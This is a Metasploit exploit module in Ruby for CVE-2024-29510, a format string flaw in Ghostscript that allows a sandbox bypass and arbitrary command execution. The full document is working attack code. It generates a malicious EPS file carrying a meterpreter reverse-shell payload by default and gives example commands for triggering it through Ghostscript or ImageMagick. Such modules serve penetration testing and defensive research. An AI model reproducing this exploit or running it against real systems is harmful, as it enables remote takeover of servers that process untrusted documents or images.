Ghostscript Command Execution / Format String
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘Ghostscript Command Execution via Format String’,
‘Description’ => %q{
This module exploits a format string vulnerability in Ghostscript
versions before 10.03.1 to achieve a SAFER sandbox bypass and execute
arbitrary commands. This vulnerability is reachable via libraries such as
ImageMagick.
This exploit only works against Ghostscript versions 10.03.0 and
10.01.2. Some offsets adjustement will probably be needed to make it
work with other versions.
},
‘Author’ => [
‘Thomas Rinsma’, # Vuln discovery and PoC
‘Christophe De La fuente’ # Metasploit module
],
‘References’ => [
[‘CVE’, ‘2024-29510’],
[‘URL’, ‘https://bugs.ghostscript.com/show_bug.cgi?id=707662’],
[‘URL’, ‘https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/’]],
‘DisclosureDate’ => ‘2024-03-14’,
‘License’ => MSF_LICENSE,
‘Platform’ => [‘unix’, ‘linux’, ‘win’],
‘Arch’ => [ARCH_CMD, ARCH_X86, ARCH_X64],
‘Privileged’ => false,
‘Targets’ => [
[
‘Linux Command’,
{
‘Arch’ => ARCH_CMD,
‘Platform’ => [ ‘unix’, ‘linux’ ],
‘DefaultOptions’ => {
# Payload is not set automatically when selecting this target.
# Select a x64 fetch payload by default.
‘PAYLOAD’ => ‘cmd/linux/http/x64/meterpreter_reverse_tcp’
}
}
]],
‘DefaultTarget’ => 0,
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘SideEffects’ => [ARTIFACTS_ON_DISK],
‘Reliability’ => [REPEATABLE_SESSION]}
)
)
register_options([
OptString.new(‘FILENAME’, [true, ‘Output Encapsulated PostScript (EPS) file’, ‘msf.eps’]),
OptInt.new(‘INDEX_OUT_PTR’, [true, ‘Index of `gp_file *out` on the stack (see the full documentation for details `info -d`)’, 5])
])
end
def exploit
xploit = template.sub(‘MSF_PAYLOAD’, payload.encoded)
xploit = xploit.sub(‘MSF_IDXOUTPTR’, datastore[‘INDEX_OUT_PTR’].to_s)
file_create(xploit)
print_good(‘You will need to start a handler for the selected payload first.’)
print_good(“Example usage with Ghostscript: gs -q -dSAFER -dBATCH -dNODISPLAY #{datastore[‘FILENAME’]}”)
print_good(“Example usage with ImageMagick: identify #{datastore[‘FILENAME’]}”)
end
def template
xploit = File.read(File.join(
Msf::Config.data_directory, ‘exploits’, ‘CVE-2024-29510’, ‘ghostscript_format_string.eps’
))
# Remove comments
xploit.gsub!(/\s*% .+$/, ”)
# Remove empty lines and lines with a single %
xploit.gsub(/^%?$\n/, ”)
end
end